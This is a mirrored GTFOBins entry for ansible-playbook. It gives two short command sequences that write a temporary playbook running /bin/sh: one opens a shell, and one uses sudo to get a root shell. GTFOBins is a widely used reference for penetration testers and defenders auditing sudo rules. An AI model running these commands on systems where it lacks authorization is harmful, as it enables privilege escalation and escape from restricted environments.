1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2025-03-15 20:18:26 +01:00

14 lines
363 B
Markdown
Raw Normal View History

---
functions:
shell:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
ansible-playbook $TF
sudo:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
---